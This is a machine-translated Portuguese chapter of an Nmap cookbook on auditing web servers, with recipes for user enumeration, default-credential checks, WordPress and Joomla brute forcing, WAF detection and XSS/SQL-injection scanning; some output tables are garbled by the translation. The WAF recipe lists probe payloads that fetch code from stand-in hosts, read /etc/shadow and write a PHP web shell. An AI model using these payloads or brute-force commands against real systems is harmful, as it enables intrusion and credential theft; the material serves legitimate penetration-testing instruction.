O módulo UserDir do Apache fornece acesso aos diretórios do usuário usando URIs com a sintaxe /~username/. Com
o Nmap podemos realizar ataques de dicionário e determinar uma lista de nomes de usuário válidos no servidor web.

Esta receita mostra como fazer o Nmap realizar ataques de força bruta para enumerar contas de usuário em servidores
web Apache, com mod_userdir ativado.

Como fazer isso...


Para tentar enumerar usuários válidos em um servidor web com mod_userdir; use o Nmap com estes argumentos:

$ nmap -p80 --script http-userdir-enum <alvo>

Todos os nomes de usuário encontrados serão incluídos nos resultados:

SERVIÇO DO ESTADO DO PORTO

80/tcp open http |_http-


userdir-enum: Usuários potenciais: root, web, teste

Como funciona...
O argumento -p80 --script http-userdir-enum ativa o script NSE http userdir-enum se um servidor da Web for
encontrado na porta 80 (-p80). Servidores web Apache com mod_userdir permitem acesso a diretórios de usuários
usando URIs como http://domain. com/~root/, e esse script nos ajuda a realizar ataques de dicionário para enumerar
usuários válidos.

Primeiro, o script consulta um diretório inexistente para registrar a resposta de status de uma página inválida. Em
seguida, ele tenta cada palavra no arquivo de dicionário, testando URIs e procurando por um código de status HTTP 200 ou
403 que indicará um nome de usuário válido.

Tem mais...
O script http-userdir-enum usa, por padrão, a lista de palavras usernames.lst localizada em /nselib/data/, mas você pode usar
um arquivo diferente configurando o argumento userdir.users, conforme mostrado no seguinte comando:

$ nmap -p80 --script http-userdir-enum --script-args userdir.users=./ users.txt <alvo>

SERVIÇO DO ESTADO DO PORTO

80/tcp open http |_http-


userdir-enum: Usuários potenciais: john, carlos

120

www.it-ebooks.info
Machine Translated by Google

Capítulo 4

HTTP User Agent Existem


alguns produtos de filtragem de pacotes que bloqueiam solicitações feitas usando o HTTP User Agent
padrão do Nmap. Você pode usar um valor de agente do usuário diferente definindo o argumento http.
agente de usuário:

$ nmap -p80 --script http-brute --script-args http.useragent="Mozilla 42" <alvo>

Pipelining HTTP Alguns


servidores web permitem o encapsulamento de mais de uma requisição HTTP em um único pacote.
Isso pode acelerar a execução de um script NSE HTTP e é recomendável que seja usado se o servidor
da Web for compatível. A biblioteca HTTP, por padrão, tenta canalizar 40 solicitações e ajusta
automaticamente esse número de acordo com as condições de tráfego, com base no cabeçalho Keep-Alive .

$ nmap -p80 --script http-methods --script-args http.pipeline=25 <alvo>

Além disso, você pode usar o argumento http.max-pipeline para definir o número máximo de solicitações
HTTP a serem adicionadas ao pipeline. Se o parâmetro de script http.pipeline for definido, este argumento
será ignorado:

$.nmap -p80 --script http-methods --script-args http.max-pipeline=10 <alvo>

Veja também

f A receita para descobrir arquivos e diretórios interessantes em vários servidores da web


f A receita de detecção de firewalls de aplicativos da web
f A receita de autenticação HTTP de força bruta
f A receita Testando credenciais padrão em aplicativos da Web
f A receita de instalações WordPress de auditoria de senha de força bruta f A
auditoria de senha de força bruta Joomla! receita de instalações

Testando credenciais padrão em


aplicativos da web
As credenciais padrão geralmente são esquecidas em aplicativos e dispositivos da Web. O script NSE
http-default-accounts do Nmap automatiza o processo de teste de credenciais padrão em aplicativos
populares da Web, como Apache Tomcat Manager, Cacti e até mesmo as interfaces de gerenciamento
da Web de roteadores domésticos.

Esta receita mostra como testar automaticamente o acesso à credencial padrão em vários aplicativos
da Web usando o Nmap.

121

www.it-ebooks.info
Machine Translated by Google

Auditoria de Servidores Web

Como fazer isso...


Para testar automaticamente o acesso à credencial padrão nos aplicativos compatíveis, use o seguinte
Comando Nmap:

$ nmap -p80 --script http-default-accounts <alvo>

Os resultados indicarão o aplicativo e as credenciais padrão se forem bem-sucedidos:

MOTIVO DO SERVIÇO DO ESTADO DO PORTO

80/tcp http aberto vista-oh

|_http-default-accounts: [Cacti] credenciais encontradas -> admin:admin


Caminho:/cactos/

Como funciona...
Iniciamos o script NSE http-default-accounts (--script http-default accounts) se um
servidor da Web for encontrado na porta 80 (-p80).

Eu desenvolvi este script NSE para economizar tempo durante os testes de penetração na web,
verificando automaticamente se os administradores do sistema esqueceram de alterar as senhas padrão em
seus sistemas. Incluí algumas impressões digitais para serviços populares, mas esse script pode ser muito
melhorado ao oferecer suporte a mais serviços. Eu encorajo você a enviar novas impressões digitais para seu
banco de dados, se você tiver acesso a um serviço normalmente deixado com acesso de credencial padrão. Os
serviços suportados até agora são:

f Cactos

f Apache Tomcat

f Apache Axis2
f Roteadores Arris 2307

f Roteadores Cisco 2811

O script detecta aplicativos da web observando caminhos conhecidos e iniciando uma rotina de login
usando as credenciais padrão armazenadas. Depende de um arquivo de impressão digital localizado em /
nselib/data/http-default-accounts.nse. As entradas são tabelas LUA e têm a seguinte aparência:

table.insert(fingerprints, { name = "Apache


Tomcat", categoria = "web", paths =
{ {path = "/manager/html/"}, {path = "/
tomcat/manager/html/"} },

122

www.it-ebooks.info
Machine Translated by Google

Capítulo 4

login_combos =
{ {username = "tomcat", senha = "tomcat"}, {username = "admin",
senha = "admin"} }, login_check = função (host, porta, caminho,
usuário, senha)

return try_http_basic_login(host, porta, caminho, usuário, senha) end

})

Cada entrada de impressão digital deve ter os seguintes campos:

f name: Este campo especifica um nome de serviço descritivo.

f categoria: Este campo especifica uma categoria necessária para verificações menos intrusivas.

f login_combos: Este campo especifica uma tabela LUA de credenciais padrão usadas
pelo serviço.

f paths: Este campo especifica uma tabela LUA de caminhos onde um serviço é comumente encontrado.

f login_check: Este campo especifica uma rotina de login do serviço web.

Tem mais...
Para varreduras menos intrusivas, filtre as sondagens por categoria usando o argumento de script
http-default-accounts.category:

$ nmap -p80 --script http-default-accounts --script-args http-default accounts.category=routers <alvo>

As categorias disponíveis são:

f web: Esta categoria gerencia aplicativos da web

f roteador: Esta categoria gerencia interfaces de roteadores

f voip: Esta categoria gerencia dispositivos VOIP f

segurança: Esta categoria gerencia software relacionado à segurança

Este script usa a pasta raiz como o caminho base por padrão, mas você pode definir um caminho diferente usando
o argumento http-default-accounts.basepath:

$ nmap -p80 --script http-default-accounts --script-args http-default accounts.basepath=/web/ <alvo>

O arquivo de impressão digital padrão está localizado em /nselib/data/http-default-accounts fingerprints.lua,


mas você pode usar um arquivo diferente especificando o argumento http default-accounts.fingerprintfile:

$ nmap -p80 --script http-default-accounts --script-args http-default accounts.fingerprintfile=./more-


signatures.txt <alvo>

123

www.it-ebooks.info
Machine Translated by Google

Auditoria de Servidores Web

HTTP User Agent Existem

alguns produtos de filtragem de pacotes que bloqueiam solicitações feitas usando o HTTP User Agent padrão do
Nmap. Você pode usar um valor de User Agent diferente definindo o argumento http.useragent:

$ nmap -p80 --script http-brute --script-args http.useragent="Mozilla 42" <alvo>

Veja também

f A receita para detectar possíveis vulnerabilidades XST f A receita

para descobrir arquivos e diretórios interessantes em vários servidores da web f A receita para detectar

firewalls de aplicativos da web f A receita para forçar brutalmente a autenticação HTTP

f A receita do mod_userdir de abuso para enumerar contas de usuário f A receita de

instalações WordPress de auditoria de senha de força bruta f A auditoria de senha de força

bruta Joomla! receita de instalações f A receita Encontrando vulnerabilidades de injeção

SQL em aplicativos da web

Auditoria de senha de força bruta em instalações


do WordPress
O WordPress é um CMS (Sistema de Gerenciamento de Conteúdo) amplamente conhecido , usado em muitos
setores. O Nmap agora inclui seu próprio script NSE para ajudar os pentesters a lançar ataques de dicionário e encontrar
contas usando senhas fracas que podem comprometer a integridade do aplicativo.

Esta receita mostra como realizar auditoria de senha de força bruta em instalações do WordPress.

Como fazer isso...

Para encontrar contas com senhas fracas em instalações do WordPress, use o seguinte comando Nmap:

$ nmap -p80 --script http-wordpress-brute <alvo>

Todas as contas válidas que foram encontradas serão mostradas nos resultados:

PORTA MOTIVO DE SERVIÇO ESTADUAL

80/tcp abre http syn-ack | http-wordpress-

brute:

| contas

124

www.it-ebooks.info
Machine Translated by Google

Capítulo 4

| papa:a1b2c3d4 => Login correto


| Estatísticas |_
Realizou 360 palpites em 17 segundos, tps médios: 6

Como funciona...
O argumento -p80 –script http-wordpress-brute inicia o script NSE http wordpress-brute se um
servidor web for encontrado na porta 80 (-p80). Desenvolvi este script para evitar que eu tenha que
definir o URI do WordPress e os nomes das variáveis HTML para os nomes de usuário e senhas ao
usar http-brute em instalações do WordPress.

Este script usa as seguintes variáveis padrão:

f uri: /wp-login.php f uservar:


log
f senha: pwd

Tem mais...
Para definir o número de threads, use o argumento de script http-wordpress-brute.threads:

$ nmap -p80 --script http-wordpress-brute --script-args http-wordpress brute.threads=5 <alvo>

Se o servidor tiver hospedagem virtual, defina o campo host usando o argumento http-wordpress
brute.hostname:

$ nmap -p80 --script http-wordpress-brute --script-args http-wordpress


brute.hostname="ahostname.wordpress.com" <alvo>

Para definir um URI de login diferente, use o argumento http-wordpress-brute.uri:

$ nmap -p80 --script http-wordpress-brute --script-args http-wordpress brute.uri="/hidden-wp-login.php"


<alvo>

Para alterar o nome da variável POST que armazena os nomes de usuário e senhas, defina os
argumentos http-wordpress-brute.uservar e http-wordpress-brute.passvar:

$ nmap -p80 --script http-wordpress-brute --script-args http-wordpress brute.uservar=usuario,http-


wordpress-brute.passvar=pasguord <alvo>

HTTP User Agent Existem


alguns produtos de filtragem de pacotes que bloqueiam solicitações feitas usando o
HTTP User Agent padrão do Nmap. Você pode usar um valor de User Agent diferente
definindo o argumento http.useragent:

$ nmap -p80 --script http-wordpress-brute --script-args http. useragent="Mozilla 42" <alvo>

125

www.it-ebooks.info
Machine Translated by Google

Auditoria de Servidores Web

modos brutos
A biblioteca Brute suporta diferentes modos que alteram as combinações usadas no ataque.
Os modos disponíveis são:

f user: Neste modo, para cada usuário listado em userdb, todas as senhas em passdb
será julgado

$ nmap --script http-wordpress-brute --script-args brute.mode=user <alvo>

f pass: Neste modo, para cada senha listada em passdb, todos os usuários em usedb
será julgado

$ nmap --script http-wordpress-brute --script-args brute.mode=pass <alvo>

f creds: Este modo requer o argumento adicional brute.credfile

$ nmap --script http-wordpress-brute --script-args brute. mode=creds,brute.credfile=./


creds.txt <alvo>

Veja também

f A receita de detecção de possíveis vulnerabilidades XST

f A receita para descobrir arquivos e diretórios interessantes em vários servidores da web f A receita para

detectar firewalls de aplicativos da web

f A receita de autenticação HTTP de força bruta

f A receita do mod_userdir de abuso para enumerar contas de usuário f A receita de

teste de credenciais padrão em aplicativos da web

f A auditoria de senha de força bruta do Joomla! receita de instalações

f A receita para encontrar vulnerabilidades de injeção de SQL em aplicativos da web f A

receita para detectar servidores da web vulneráveis a ataques de negação de serviço lentos

Auditoria de senha de força bruta Joomla!


instalações
Joomla! é um CMS muito popular usado para diversos propósitos, incluindo comércio eletrônico. Detectar
contas de usuário com senhas fracas é uma tarefa comum para testadores de penetração, e o Nmap ajuda nisso usando
o script NSE http-joomla-brute.

Esta receita mostra como realizar auditoria de senha de força bruta no Joomla! instalações.

126

www.it-ebooks.info
Machine Translated by Google

Capítulo 4

Como fazer isso...


Abra seu terminal e digite o seguinte comando:

$ nmap -p80 --script http-joomla-brute <alvo>

Todas as contas válidas encontradas serão retornadas:

PORTA MOTIVO DE SERVIÇO ESTADUAL

80/tcp http aberto | http- vista-oh

joomla-brute:

| Contas |
king:kong => Login correto

| Estatísticas |_
Realizou 799 palpites em 501 segundos, tps médio: 0

Como funciona...
O argumento -p80 –script http-joomla-brute inicia o script NSE http-joomla-brute se
um servidor web for encontrado na porta 80 (-p80). Eu desenvolvi este script para
realizar auditoria de senha de força bruta contra Joomla! instalações.

O script http-joomla-brute usa as seguintes variáveis padrão:

f show: /administrator/index.php

f uservar: nome de usuário

f passvar: passwd

Tem mais...
Defina o número do thread com o argumento http-joomla-brute.threads usando o seguinte
comando:

$ nmap -p80 --script http-joomla-brute --script-args http-joomla-brute. threads=5 <alvo>

Para definir o campo Host nas solicitações HTTP, use o argumento de script http-joomla-brute.
hostname, usando o seguinte comando:

$ nmap -p80 --script http-joomla-brute --script-args http-joomla-brute. hostname="hostname.com" <alvo>

127

www.it-ebooks.info
Machine Translated by Google

Auditoria de Servidores Web

Defina um URI de login diferente especificando o argumento http-joomla-brute.uri usando o seguinte


comando:

$ nmap -p80 --script http-joomla-brute --script-args http-joomla-brute. uri="/joomla/admin/login.php" <alvo>

Para alterar o nome da variável POST que armazena os nomes de usuário e senhas, defina os
argumentos http-joomla-brute.uservar e http-joomla-brute.passvar usando o seguinte comando:

$ nmap -p80 --script http-joomla-brute --script-args http-joomla-brute. uservar=usuario,http-joomla-


brute.passvar=pasguord <alvo>

HTTP User Agent Existem


alguns produtos de filtragem de pacotes que bloqueiam solicitações feitas usando o
HTTP User Agent padrão do Nmap. Você pode usar um valor de User Agent diferente
definindo o argumento http.useragent:

$ nmap -p80 --script http-wordpress-brute --script-args http. useragent="Mozilla 42" <alvo>

modos brutos
A biblioteca Brute suporta diferentes modos que alteram as combinações usadas no ataque.
Os modos disponíveis são:

f user: Neste modo, para cada usuário listado em userdb, todas as senhas em passdb
será julgado

$ nmap --script http-wordpress-brute --script-args brute.mode=user <alvo>

f pass: Neste modo, para cada senha listada em passdb, todos os usuários em usedb
será julgado

$ nmap --script http-wordpress-brute --script-args brute.mode=pass <alvo>

f creds: Este modo requer o argumento adicional brute.credfile

$ nmap --script http-wordpress-brute --script-args brute. mode=creds,brute.credfile=./


creds.txt <alvo>

Veja também

f A receita para detectar possíveis vulnerabilidades XST


f A receita para descobrir arquivos e diretórios interessantes em vários servidores web
f A receita de autenticação HTTP de força bruta

128

www.it-ebooks.info
Machine Translated by Google

Capítulo 4

f A receita do mod_userdir de abuso para enumerar contas de usuário f A receita de teste

de credenciais padrão em aplicativos da web

f A receita de instalações WordPress de auditoria de senha de força bruta

f A receita de detecção de servidores web vulneráveis a ataques de negação de serviço slowloris

Detectando firewalls de aplicativos da web


Os servidores da Web geralmente são protegidos por sistemas de filtragem de pacotes que descartam ou redirecionam
pacotes maliciosos suspeitos. Os testadores de penetração na Web se beneficiam ao saber que existe um sistema de
filtragem de tráfego entre eles e o aplicativo de destino. Se for esse o caso, eles podem tentar técnicas mais raras ou furtivas
para tentar contornar o Web Application Firewall (WAF) ou o Intrusion Prevention System (IPS). Também os ajuda a
determinar se uma vulnerabilidade é realmente explorável no ambiente atual.

Esta receita demonstra como usar o Nmap para detectar sistemas de filtragem de pacotes, como um Web Application Firewall
ou um Intrusion Prevention System.

Como fazer isso...


Para detectar um firewall de aplicativo da Web ou um sistema de prevenção contra invasões:

$ nmap -p80 --script http-waf-detect <alvo>

O script http-waf-detect permitirá que você saiba se um sistema de filtragem de pacotes foi detectado:

SERVIÇO DO ESTADO DO PORTO

80/tcp http aberto

|_http-waf-detect: IDS/IPS/WAF detectado

Como funciona...
O argumento -p80 --script http-waf-detect inicia o script NSE http-waf detecta se um servidor da Web é encontrado em
execução na porta 80. Desenvolvi o http-waf-detect para determinar se as solicitações HTTP com cargas maliciosas
estavam sendo filtradas por firewalls de aplicativos da web (WAFs) ou sistemas de prevenção de intrusão (IPSs).

O script funciona salvando o código de status e, opcionalmente, o corpo da página de uma solicitação HTTP GET segura e
comparando-a com solicitações que contêm cargas úteis de ataque para as vulnerabilidades de aplicativos da web mais
comuns. Como cada carga maliciosa é armazenada em um nome de variável estranho, é realmente improvável que ela seja
usada pelo aplicativo da web, e apenas os sistemas de filtragem de pacotes reagiriam e alterariam qualquer um dos códigos de
status retornados, para talvez receber um código de status HTTP 403 ( Proibido) ou o conteúdo da página.

129

www.it-ebooks.info
Machine Translated by Google

Auditoria de Servidores Web

Tem mais...
Para detectar alterações no corpo da resposta, use o argumento http-waf-detect.
detectBodyChanges. Recomendo que você habilite ao lidar com páginas com pouco conteúdo
dinâmico:

$ nmap -p80 --script http-waf-detect --script-args="http-waf-detect. detectBodyChanges" <alvo>

Para incluir mais cargas de ataque, use o argumento de script http-waf-detect.aggro. Este modo gera
mais solicitações HTTP, mas também pode acionar mais produtos:

$ nmap -p80 --script http-waf-detect --script-args="http-waf-detect. aggro" <alvo>

Iniciando NSE às 23:03

NSE: http-waf-detect: solicitando URI /abc.php

NSE: Tamanho final do cache http (1160 bytes) com tamanho máximo de 1.000.000

NSE: Sondagem com carga útil:?p4yl0


4d=../../../../../../../../../../../../../. ./../../../etc/passwd

NSE: sondagem com carga útil:?p4yl04d2=1%20UNION%20ALL%20SELECT%20


1,2,3,table_name%20FROM%20information_schema.tables
NSE: Investigação com payload:?p4yl04d3=<script>alert(document.cookie)</ script>

NSE: sondagem com carga útil:?p4yl04d=cat%20/etc/shadow

NSE: sondagem com carga útil:?p4yl04d=id;uname%20-a

NSE: Investigando com carga útil:?p4yl04d=<?php%20phpinfo();%20?>

NSE: sondagem com carga útil:?p4yl04d='%20OR%20'A'='A

NSE: sondagem com payload:?p4yl04d=http://google.com

NSE: sondagem com carga útil:?p4yl04d=http://evilsite.com/evilfile.php

NSE: sondagem com carga útil:?p4yl04d=cat%20/etc/passwd

NSE: sondagem com payload:?p4yl04d=ping%20google.com

NSE: Investigando com payload:?p4yl04d=hostname%00

NSE: sondagem com carga útil:?p4yl04d=<img%20src='x'%20


onerror=alert(document.cookie)%20/>

NSE: sondagem com carga útil:?p4yl04d=wget%20http://ev1l.com/xpl01t.txt

NSE: Sondagem com payload:?p4yl04d=UNION%20SELECT%20'<?%20system($_ GET['command']);


%20?>',2,3%20INTO%20OUTFILE%20'/var/www /w3bsh3ll.php'--

Para definir um URI diferente para as sondagens, defina o argumento http-waf-detect.uri:

$ nmap -p80 --script http-waf-detect --script-args http-waf-detect.uri=/ webapp/ <alvo>

130

www.it-ebooks.info
Machine Translated by Google

Capítulo 4

HTTP User Agent Existem


alguns produtos de filtragem de pacotes que bloqueiam solicitações feitas usando o HTTP User
Agent padrão do Nmap. Você pode usar um valor de User Agent diferente definindo o argumento
http.useragent:

$ nmap -p80 --script http-waf-detect --script-args http. useragent="Mozilla 42" <alvo>

Pipelining HTTP Alguns


servidores web permitem o encapsulamento de mais de uma requisição HTTP em um único pacote.
Isso pode acelerar a execução de um script NSE HTTP e é recomendável que seja usado se o servidor da Web for
compatível. A biblioteca HTTP, por padrão, tenta canalizar 40 solicitações e ajusta automaticamente esse número de
acordo com as condições de tráfego, com base no cabeçalho Keep Alive .

$ nmap -p80 --script http-methods --script-args http.pipeline=25 <alvo>

Além disso, você pode usar o argumento http.max-pipeline para definir o número máximo de solicitações HTTP a
serem adicionadas ao pipeline. Se o parâmetro de script http.pipeline for definido, este argumento será ignorado:

$.nmap -p80 --script http-methods --script-args http.max-pipeline=10 <alvo>

Veja também

f A receita para detectar possíveis vulnerabilidades XST f A receita


para descobrir arquivos e diretórios interessantes em vários servidores da web f A receita para forçar
brutalmente a autenticação HTTP f A receita para abusar do mod_userdir para enumerar contas de
usuário f A receita para testar credenciais padrão em aplicativos da web f A senha de força bruta
auditando a receita de instalação do WordPress f A auditoria de senha de força bruta do Joomla! receita
de instalações f A receita Encontrando vulnerabilidades de injeção de SQL em aplicativos da web f A
receita Detectando servidores web vulneráveis a ataques de negação de serviço slowloris

Detectando possíveis vulnerabilidades XST


As vulnerabilidades de rastreamento entre sites (XST) são causadas pela existência de vulnerabilidades de script
entre sites (XSS) em servidores da Web nos quais o método HTTP TRACE está ativado. Essa técnica é usada
principalmente para ignorar as restrições de cookies impostas pela diretiva httpOnly.
Os pentesters podem economizar tempo usando o Nmap para determinar rapidamente se o servidor da Web
possui o método TRACE ativado.

131

www.it-ebooks.info
Machine Translated by Google

Auditoria de Servidores Web

Esta receita descreve como usar o Nmap para verificar se o TRACE está ativado e, portanto, vulnerável a
possíveis vulnerabilidades de rastreamento entre sites (XST).

Como fazer isso...


Abra um terminal e digite o seguinte comando:

$ nmap -p80 --script http-methods,http-trace --script-args http-methods. teste novamente <alvo>

Se TRACE estiver ativado e acessível, devemos ver algo semelhante a isto:

PORTA SERVIÇO DE ESTADO

80/tcp http aberto |_http-


trace: TRACE está ativado | http-methods:
OBTER HEAD POST OPTIONS TRACE | Métodos potencialmente
arriscados: TRACE | Consulte http://nmap.org/nsedoc/scripts/http-
methods.html | GET / -> HTTP/1.1 200 OK | | HEAD / -> HTTP/1.1 200 OK | | POST / ->
HTTP/1.1 200 OK | | OPÇÕES / -> HTTP/1.1 200 OK | |_TRACE / -> HTTP/1.1 200 OK

Caso contrário, http-trace não retornará nada e TRACE não será listado nos métodos http:

SERVIÇO DO ESTADO DO PORTO

80/tcp http aberto | http-


methods: OBTER OPÇÕES DE POST DE CABEÇA | GET /
-> HTTP/1.1 200 OK | | HEAD / -> HTTP/1.1 200 OK | | POST /
-> HTTP/1.1 200 OK | |_OPÇÕES / -> HTTP/1.1 200 OK

Nmap concluído: 1 endereço IP (1 host ativado) verificado em 14,41 segundos

132

www.it-ebooks.info
Machine Translated by Google

Capítulo 4

Como funciona...
O argumento -p80 --script http-methods,http-trace --script-args http method.retest diz ao Nmap para
lançar os scripts NSE http-methods e http-trace na porta 80 se um servidor web for detectado, e para
individualmente teste cada um dos métodos retornados pela solicitação HTTP OPTIONS .

http-methods foi enviado por Bernd Stroessenreuther e envia uma solicitação OPTIONS para enumerar
os métodos suportados por um servidor web.

O script http-trace foi escrito por mim, e seu objetivo é detectar a disponibilidade do método HTTP
TRACE. Ele simplesmente envia uma solicitação TRACE e procura um código de status 200, ou a
mesma solicitação é repetida pelo servidor.

Tem mais...
Definindo o argumento de script http-methods.retest, podemos testar cada método HTTP listado
por OPTIONS e analisar o valor de retorno para concluir se TRACE está acessível e não está
bloqueado por um firewall ou regras de configuração.

$ nmap -p80 --script http-methods,http-trace --script-args http-methods. teste novamente <alvo>

PORTA SERVIÇO DE ESTADO

80/tcp http aberto

|_http-trace: TRACE está habilitado | http-

methods: OBTER HEAD POST OPTIONS TRACE | Métodos

potencialmente arriscados: TRACE | Consulte http://nmap.org/

nsedoc/scripts/http-methods.html | GET / -> HTTP/1.1 200 OK | | HEAD / -> HTTP/

1.1 200 OK | | POST / -> HTTP/1.1 200 OK | | OPÇÕES / -> HTTP/1.1 200 OK | |

_TRACE / -> HTTP/1.1 200 OK

Lembre-se que o método TRACE pode estar habilitado e não listado por OPTIONS, então é
importante rodar ambos os scripts http-methods e http-trace para obter melhores resultados.

133

www.it-ebooks.info
Machine Translated by Google

Auditoria de Servidores Web

Use os argumentos http-trace.path e http-methods.url-path para solicitar um caminho diferente da pasta raiz ( / ):

$ nmap -p80 --script http-methods,http-trace --script-args http-methods. teste novamente,http-trace.path=/


secret/,http-methods.url-path=/secret/ <alvo>

HTTP User Agent Existem

alguns produtos de filtragem de pacotes que bloqueiam solicitações feitas usando o HTTP User Agent padrão do
Nmap. Você pode usar um agente de usuário HTTP diferente definindo o argumento http.useragent:

$ nmap -p80 --script http-trace --script-args http.useragent="Mozilla 42" <alvo>

Veja também

f A receita Verificando se um proxy HTTP está aberto f A receita

Descobrindo arquivos e diretórios interessantes em vários servidores da web f A receita Detectando firewalls

de aplicativos da web

f A receita Encontrando vulnerabilidades de injeção de SQL em aplicativos da Web

f A receita de detecção de servidores web vulneráveis a ataques de negação de serviço slowloris

Detectando vulnerabilidades de
Cross Site Scripting em aplicativos da web
As vulnerabilidades de Cross Site Scripting permitem que os invasores falsifiquem o conteúdo, roubem cookies do
usuário e até mesmo executem códigos maliciosos nos navegadores do usuário. Existem até estruturas de exploração
avançadas, como Beef , que permitem que invasores executem ataques complexos por meio de ganchos de JavaScript. Os
pentesters da Web podem usar o Nmap para descobrir essas vulnerabilidades em servidores da Web de maneira
automatizada.

Esta receita mostra como encontrar vulnerabilidades de Cross Site Scripting em aplicativos da Web com o Nmap NSE.

Como fazer isso...

Para escanear um servidor web em busca de arquivos vulneráveis a Cross Site Scripting (XSS), usamos o seguinte
comando:

$ nmap -p80 --script http-unsafe-output-escaping <alvo>

134

www.it-ebooks.info
Machine Translated by Google

Capítulo 4

Todos os arquivos suspeitos de serem vulneráveis serão listados:

MOTIVO DO SERVIÇO DO ESTADO DO PORTO

80/tcp http aberto vista-oh

| http-unsafe-output-escaping: |_ Caracteres

[> " '] refletidos no id do parâmetro em http://target/1. php?id=1

A saída do script também incluirá o parâmetro vulnerável e quais caracteres foram retornados sem
serem filtrados ou codificados.

Se você estiver trabalhando com um servidor PHP, execute o seguinte comando Nmap:

$nmap -p80 --script http-phpself-xss,http-unsafe-output-escaping <alvo>

Em um servidor da Web com arquivos vulneráveis, você verá uma saída semelhante à mostrada
abaixo:

MOTIVO DO SERVIÇO DO ESTADO DO PORTO

80/tcp http aberto vista-oh

| http-phpself-xss: |

VULNERÁVEL: | Uso

inseguro de $_SERVER["PHP_SELF"] em arquivos PHP | | | SELF"] causando

vulnerabilidades Reflected Cross


Estado: VULNERÁVEL Site Scripting. | |
(explorável)

Descrição:

Os arquivos PHP não estão lidando com segurança com a variável $_SERVER["PHP_

Informação extra:

| Arquivos vulneráveis com prova de conceito: |


http://calder0n.com/sillyapp/three.php/%27%22/%3E%3Cscript%3Ealert(
1)%3C/script%3E

http://calder0n.com/sillyapp/secret/2.php/%27%22/%3E%3Cscript%3Eale
| rt(1)%3C/script%3E

| http://calder0n.com/sillyapp/1.php/%27%22/%3E%3Cscript%3Ealert(1)% 3C/script%3E

http://calder0n.com/sillyapp/secret/1.php/%27%22/%3E%3Cscript%3Eale
| rt(1)%3C/script%3E |

Spidering limitado a: maxdepth=3; maxpagecount=20; insidehost=calder0n.com

135

www.it-ebooks.info
Machine Translated by Google

Auditoria de Servidores Web

Referências:

http://php.net/manual/en/reried.variables.server.php

| | |_ https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) | http-unsafe-output-escaping: |

_ Caracteres [> " '] refletidos no parâmetro hola em http://calder0n.com/sillyapp/secret/1.php?

hola=1

Como funciona...
O script http-unsafe-output-escaping foi escrito por Martin Holst Swende e rastreia um servidor da Web
para detectar os possíveis problemas com a maneira como os aplicativos da Web retornam a saída
com base na entrada do usuário. O script insere a seguinte carga útil em todos os parâmetros que
encontra:

ghz%3Ehzx%22zxc%27xcv

A carga útil mostrada acima foi projetada para detectar as vulnerabilidades " ', o que pode causar
de caracteres > Cross Site Scripting.

Escrevi o script http-phpself-xss para detectar as vulnerabilidades de Cross Site Scripting causadas
pela falta de saneamento do script $_SERVER["PHP_SELF"'] . O script rastreará um servidor da Web para
encontrar todos os arquivos com uma extensão .php e anexará a seguinte carga a cada URI:

/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E

Se o mesmo padrão for refletido no site, isso significa que uma página está usando a variável
$_SERVER["PHP_SELF"] de forma insegura.

A documentação oficial dos scripts http-unsafe-output-escaping e http phpself-xss pode ser


encontrada nas seguintes URLs:

f http://nmap.org/nsedoc/scripts/http-phpself-xss.html
f http://nmap.org/nsedoc/scripts/http-unsafe-output-escaping.html

Tem mais...
Os scripts http-unsafe-output-escaping e http-phpself-xss dependem da biblioteca httpspider. Essa
biblioteca pode ser configurada para aumentar sua cobertura e comportamento geral.

Por exemplo, a biblioteca rastreará apenas 20 páginas por padrão, mas podemos definir o argumento
httpspider.maxpagecount adequadamente para sites maiores:

$nmap -p80 --script http-phpself-xss --script-args httpspider. maxpagecount=200 <destino>

136

www.it-ebooks.info
Machine Translated by Google

Capítulo 4

Outro argumento interessante é httpspider.withinhost, que limita o rastreador da web a um determinado host.
Isso é ativado por padrão, mas se você precisar testar uma coleção de aplicativos da Web vinculados entre
si, poderá usar o seguinte comando:

$nmap -p80 --script http-phpself-xss --script-args httpspider. dentro do host=false <alvo>

Também podemos definir a profundidade máxima dos diretórios que queremos cobrir. Por padrão, esse valor é
apenas 3, portanto, se você perceber que o servidor da Web possui arquivos profundamente aninhados,
especialmente quando "urls bonitos" como /blog/5/news/comment/ são implementados, recomendo que você
atualize esse argumento de biblioteca por usando o seguinte comando:

$nmap -p80 --script http-phpself-xss --script-args httpspider.maxdepth=10 <alvo>

A documentação oficial da biblioteca pode ser encontrada em http://nmap.org/nsedoc/lib/ httpspider.html.

HTTP User Agent Existem


alguns produtos de filtragem de pacotes que bloqueiam solicitações feitas usando o HTTP User Agent
padrão do Nmap. Você pode usar um valor de User Agent diferente definindo o argumento http.useragent:

$ nmap -p80 --script http-sql-injection --script-args http. useragent="Mozilla 42" <alvo>

Pipelining HTTP Alguns


servidores web permitem o encapsulamento de mais de uma requisição HTTP em um único pacote. Isso
pode acelerar a execução de um script NSE HTTP e é recomendável que seja usado se o servidor da
Web for compatível. A biblioteca HTTP, por padrão, tenta canalizar 40 solicitações e ajusta automaticamente
esse número de acordo com as condições de tráfego, com base no cabeçalho Keep-Alive .

$ nmap -p80 --script http-sql-injection --script-args http.pipeline=25 <alvo>

Além disso, você pode usar o argumento http.max-pipeline para definir o número máximo de solicitações HTTP
a serem adicionadas ao pipeline. Se o parâmetro de script http.pipeline for definido, este argumento será ignorado:

$.nmap -p80 --script http-methods --script-args http.max-pipeline=10 <alvo>

Veja também

f A receita para detectar possíveis vulnerabilidades XST f A


receita para detectar firewalls de aplicativos da web

137

www.it-ebooks.info
Machine Translated by Google

Auditoria de Servidores Web

f A receita de detecção de vulnerabilidades de injeção de SQL em aplicativos da web f A receita


de detecção de servidores da web vulneráveis a ataques de negação de serviço slowloris

Encontrando vulnerabilidades de injeção de SQL


em aplicativos da web
As vulnerabilidades de injeção de SQL são causadas pela falta de saneamento da entrada do usuário e permitem que os
invasores executem consultas de DBMS que podem comprometer todo o sistema. Esse tipo de vulnerabilidade da Web é
muito comum e, como cada variável de script deve ser testada, verificar essas vulnerabilidades pode ser uma tarefa muito
tediosa. Felizmente, podemos usar o Nmap para escanear rapidamente um servidor web em busca de arquivos vulneráveis
para injeção de SQL.

Esta receita mostra como encontrar vulnerabilidades de injeção de SQL em aplicativos da Web com o Nmap NSE.

Como fazer isso...


Para escanear um servidor web em busca de arquivos vulneráveis à injeção de SQL usando o Nmap, use o seguinte
comando:

$ nmap -p80 --script http-sql-injection <alvo>

Todos os arquivos vulneráveis serão mostrados com os argumentos que possivelmente são vulneráveis:

